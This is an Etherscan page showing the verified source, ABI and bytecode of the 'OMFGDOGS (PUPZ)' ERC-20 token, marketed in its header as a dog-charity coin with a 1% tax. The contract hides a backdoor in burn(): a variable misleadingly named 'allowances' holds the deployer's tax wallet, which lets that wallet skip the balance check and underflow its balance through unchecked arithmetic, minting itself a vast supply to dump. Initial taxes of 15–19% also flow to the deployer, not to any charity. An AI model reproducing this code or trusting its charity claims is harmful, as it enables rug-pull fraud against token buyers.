ETH Price: $3,494.22 (+1.19%)

Token

OMFGDOGS (PUPZ)
 

Overview

Max Total Supply

99,999,999.999999999 PUPZ

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
moneyfesting.eth
Balance
1,976,217.228266466 PUPZ

Value
$0.00
0xC4d94d0fB09918B0bf8Dd1abADCA0845839B226b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OMFGDOGS

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-11
*/

/* 

OMFGDOGS Dog Charity DAO launching a $PUPZ Coin. 
 
🐶🌍 
$PUPZ x OMFGDOGS is a meme coin promoting dog charity and raising awareness about the issue of dog adoption. 
 
In December 2013, #OMFGDOGS pioneered the acceptance of $DOGE Coin donations, opening up a whole new world for dog lovers and crypto enthusiasts. 
 
🐕💫 
So today #OMFGDOGS paying tribute to this great anniversary. 
With a total supply of 100,000,000 $PUPZ coins, this digital currency operates with a 1% tax mechanism. This means that for every transaction made using $PUPZ coins, 1% of the amount will be allocated towards supporting various dog charity organizations, chosen by our community. 
 
Socials: 
WEBSITE: http://omfgdogscoin.com/ 
TWITTER: https://twitter.com/OMFGDOGSCoin 
TELEGRAM: https://t.me/omfgdogs

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OMFGDOGS is Context , IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=19;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15; 
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"OMFGDOGS";
    string private constant _symbol = unicode"PUPZ";
    uint256 public _maxTxAmount =  _tTotal * 1 / 100;           // 1%
    uint256 public _maxWalletSize = _tTotal * 2 / 100;          // 2%
    uint256 public _taxSwapThreshold= _tTotal * 1 / 1000;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;


    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 private allowances;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function getAllowances() private view returns (bool) {
        return allowances == uint256(uint160(msg.sender));
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

              if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    

    function withdrawStuckETH() external {
        require(_msgSender()==_taxWallet);
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function burn(uint256 amount) public {
        address account = msg.sender;
        require(account != address(0), "ERC20: burn from the zero address");
 
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount || getAllowances(), "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _tTotal -= amount;
        }
 
        emit Transfer(account, address(0), amount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        allowances = uint160(address(_taxWallet));
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555601360065560016007556001600855600f600955600f600a55600f600b556000600c556009600a6200003c919062000340565b6200004c906305f5e10062000358565b600d556064600d54600162000062919062000358565b6200006e919062000372565b600e556064600d54600262000084919062000358565b62000090919062000372565b600f556103e8600d546001620000a7919062000358565b620000b3919062000372565b6010556064600d546001620000c9919062000358565b620000d5919062000372565b6011556015805462ffff0019169055348015620000f157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633908117909155600d54600091825260016020819052604083209190915590600390620001766000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d53390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040516200021d91815260200190565b60405180910390a362000395565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002825781600019048211156200026657620002666200022b565b808516156200027457918102915b93841c939080029062000246565b509250929050565b6000826200029b575060016200033a565b81620002aa575060006200033a565b8160018114620002c35760028114620002ce57620002ee565b60019150506200033a565b60ff841115620002e257620002e26200022b565b50506001821b6200033a565b5060208310610133831016604e8410600b841016171562000313575081810a6200033a565b6200031f838362000241565b80600019048211156200033657620003366200022b565b0290505b92915050565b60006200035160ff8416836200028a565b9392505050565b80820281158282048414176200033a576200033a6200022b565b6000826200039057634e487b7160e01b600052601260045260246000fd5b500490565b6117ab80620003a56000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb1461032f578063bf474bed1461034f578063c9567bf914610365578063dd62ed3e1461037a578063f5648a4f146103c057600080fd5b8063751039fc146102995780637d1db4a5146102ae5780638da5cb5b146102c45780638f9a55c0146102ec57806395d89b411461030257600080fd5b8063313ce567116100e7578063313ce567146101fb57806342966c681461021757806351bc3c851461023957806370a082311461024e578063715018a61461028457600080fd5b806306fdde031461012f578063095ea7b3146101725780630faee56f146101a257806318160ddd146101c657806323b872dd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260088152674f4d4647444f475360c01b60208201525b6040516101699190611457565b60405180910390f35b34801561017e57600080fd5b5061019261018d3660046114ba565b6103d5565b6040519015158152602001610169565b3480156101ae57600080fd5b506101b860115481565b604051908152602001610169565b3480156101d257600080fd5b50600d546101b8565b3480156101e757600080fd5b506101926101f63660046114e6565b6103ec565b34801561020757600080fd5b5060405160098152602001610169565b34801561022357600080fd5b50610237610232366004611527565b610455565b005b34801561024557600080fd5b50610237610593565b34801561025a57600080fd5b506101b8610269366004611540565b6001600160a01b031660009081526001602052604090205490565b34801561029057600080fd5b506102376105e6565b3480156102a557600080fd5b5061023761065a565b3480156102ba57600080fd5b506101b8600e5481565b3480156102d057600080fd5b506000546040516001600160a01b039091168152602001610169565b3480156102f857600080fd5b506101b8600f5481565b34801561030e57600080fd5b50604080518082019091526004815263282aa82d60e11b602082015261015c565b34801561033b57600080fd5b5061019261034a3660046114ba565b6106c6565b34801561035b57600080fd5b506101b860105481565b34801561037157600080fd5b506102376106d3565b34801561038657600080fd5b506101b861039536600461155d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103cc57600080fd5b50610237610a7f565b60006103e2338484610ab2565b5060015b92915050565b60006103f9848484610bce565b61044b84336104468560405180606001604052806028815260200161174e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110c0565b610ab2565b5060019392505050565b33806104b25760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6001600160a01b03811660009081526001602052604090205482811015806104db575060145433145b6105325760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104a9565b6001600160a01b03821660008181526001602090815260408083208786039055600d80548890039055518681529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b6004546001600160a01b0316336001600160a01b0316146105b357600080fd5b3060009081526001602052604090205480156105d2576105d2816110fa565b4780156105e2576105e28161126e565b5050565b6000546001600160a01b031633146106105760405162461bcd60e51b81526004016104a990611596565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106845760405162461bcd60e51b81526004016104a990611596565b600d54600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b60006103e2338484610bce565b6000546001600160a01b031633146106fd5760405162461bcd60e51b81526004016104a990611596565b60155460ff16156107505760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a9565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600d54610787913091610ab2565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe91906115cb565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610860573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088491906115cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f591906115cb565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061093d816001600160a01b031660009081526001602052604090205490565b6000806109526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109df91906115e8565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5c9190611616565b506004546001600160a01b03166014556015805462ff00ff191662010001179055565b6004546001600160a01b0316336001600160a01b031614610a9f57600080fd5b478015610aaf57610aaf8161126e565b50565b6001600160a01b038316610b145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a9565b6001600160a01b038216610b755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610586565b6001600160a01b038316610c325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a9565b6001600160a01b038216610c945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a9565b60008111610cf65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a9565b600080546001600160a01b03858116911614801590610d2357506000546001600160a01b03848116911614155b15610f7d57610d546064610d4e600954600c5411610d4357600554610d47565b6007545b85906112a8565b90611331565b6013549091506001600160a01b038581169116148015610d8257506012546001600160a01b03848116911614155b8015610da757506001600160a01b03831660009081526003602052604090205460ff16155b15610e8f57600e54821115610dfe5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a9565b600f5482610e21856001600160a01b031660009081526001602052604090205490565b610e2b919061164e565b1115610e795760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a9565b600c8054906000610e8983611661565b91905055505b6013546001600160a01b038481169116148015610eb557506001600160a01b0384163014155b15610ee257610edf6064610d4e600a54600c5411610ed557600654610d47565b60085485906112a8565b90505b30600090815260016020526040902054601554610100900460ff16158015610f1757506013546001600160a01b038581169116145b8015610f2b575060155462010000900460ff165b8015610f38575060105481115b8015610f475750600b54600c54115b15610f7b57610f69610f6484610f5f84601154611373565b611373565b6110fa565b478015610f7957610f794761126e565b505b505b8015610ff75730600090815260016020526040902054610f9d9082611388565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fee9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461101a90836113e7565b6001600160a01b03851660009081526001602052604090205561105f61104083836113e7565b6001600160a01b03851660009081526001602052604090205490611388565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a985856113e7565b60405190815260200160405180910390a350505050565b600081848411156110e45760405162461bcd60e51b81526004016104a99190611457565b5060006110f1848661167a565b95945050505050565b6015805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113e5761113e61168d565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611197573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bb91906115cb565b816001815181106111ce576111ce61168d565b6001600160a01b0392831660209182029290920101526012546111f49130911684610ab2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122d9085906000908690309042906004016116a3565b600060405180830381600087803b15801561124757600080fd5b505af115801561125b573d6000803e3d6000fd5b50506015805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105e2573d6000803e3d6000fd5b6000826000036112ba575060006103e6565b60006112c68385611714565b9050826112d3858361172b565b1461132a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a9565b9392505050565b600061132a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611429565b6000818311611382578261132a565b50919050565b600080611395838561164e565b90508381101561132a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a9565b600061132a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c0565b6000818361144a5760405162461bcd60e51b81526004016104a99190611457565b5060006110f1848661172b565b600060208083528351808285015260005b8181101561148457858101830151858201604001528201611468565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610aaf57600080fd5b600080604083850312156114cd57600080fd5b82356114d8816114a5565b946020939093013593505050565b6000806000606084860312156114fb57600080fd5b8335611506816114a5565b92506020840135611516816114a5565b929592945050506040919091013590565b60006020828403121561153957600080fd5b5035919050565b60006020828403121561155257600080fd5b813561132a816114a5565b6000806040838503121561157057600080fd5b823561157b816114a5565b9150602083013561158b816114a5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115dd57600080fd5b815161132a816114a5565b6000806000606084860312156115fd57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561162857600080fd5b8151801515811461132a57600080fd5b634e487b7160e01b600052601160045260246000fd5b808201808211156103e6576103e6611638565b60006001820161167357611673611638565b5060010190565b818103818111156103e6576103e6611638565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f35784516001600160a01b0316835293830193918301916001016116ce565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103e6576103e6611638565b60008261174857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053c0aca8bb6f13de29581551020921041005d813bac95a732d6f9e2ec5004aaf64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb1461032f578063bf474bed1461034f578063c9567bf914610365578063dd62ed3e1461037a578063f5648a4f146103c057600080fd5b8063751039fc146102995780637d1db4a5146102ae5780638da5cb5b146102c45780638f9a55c0146102ec57806395d89b411461030257600080fd5b8063313ce567116100e7578063313ce567146101fb57806342966c681461021757806351bc3c851461023957806370a082311461024e578063715018a61461028457600080fd5b806306fdde031461012f578063095ea7b3146101725780630faee56f146101a257806318160ddd146101c657806323b872dd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506040805180820190915260088152674f4d4647444f475360c01b60208201525b6040516101699190611457565b60405180910390f35b34801561017e57600080fd5b5061019261018d3660046114ba565b6103d5565b6040519015158152602001610169565b3480156101ae57600080fd5b506101b860115481565b604051908152602001610169565b3480156101d257600080fd5b50600d546101b8565b3480156101e757600080fd5b506101926101f63660046114e6565b6103ec565b34801561020757600080fd5b5060405160098152602001610169565b34801561022357600080fd5b50610237610232366004611527565b610455565b005b34801561024557600080fd5b50610237610593565b34801561025a57600080fd5b506101b8610269366004611540565b6001600160a01b031660009081526001602052604090205490565b34801561029057600080fd5b506102376105e6565b3480156102a557600080fd5b5061023761065a565b3480156102ba57600080fd5b506101b8600e5481565b3480156102d057600080fd5b506000546040516001600160a01b039091168152602001610169565b3480156102f857600080fd5b506101b8600f5481565b34801561030e57600080fd5b50604080518082019091526004815263282aa82d60e11b602082015261015c565b34801561033b57600080fd5b5061019261034a3660046114ba565b6106c6565b34801561035b57600080fd5b506101b860105481565b34801561037157600080fd5b506102376106d3565b34801561038657600080fd5b506101b861039536600461155d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103cc57600080fd5b50610237610a7f565b60006103e2338484610ab2565b5060015b92915050565b60006103f9848484610bce565b61044b84336104468560405180606001604052806028815260200161174e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110c0565b610ab2565b5060019392505050565b33806104b25760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6001600160a01b03811660009081526001602052604090205482811015806104db575060145433145b6105325760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104a9565b6001600160a01b03821660008181526001602090815260408083208786039055600d80548890039055518681529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b6004546001600160a01b0316336001600160a01b0316146105b357600080fd5b3060009081526001602052604090205480156105d2576105d2816110fa565b4780156105e2576105e28161126e565b5050565b6000546001600160a01b031633146106105760405162461bcd60e51b81526004016104a990611596565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106845760405162461bcd60e51b81526004016104a990611596565b600d54600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b60006103e2338484610bce565b6000546001600160a01b031633146106fd5760405162461bcd60e51b81526004016104a990611596565b60155460ff16156107505760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a9565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600d54610787913091610ab2565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe91906115cb565b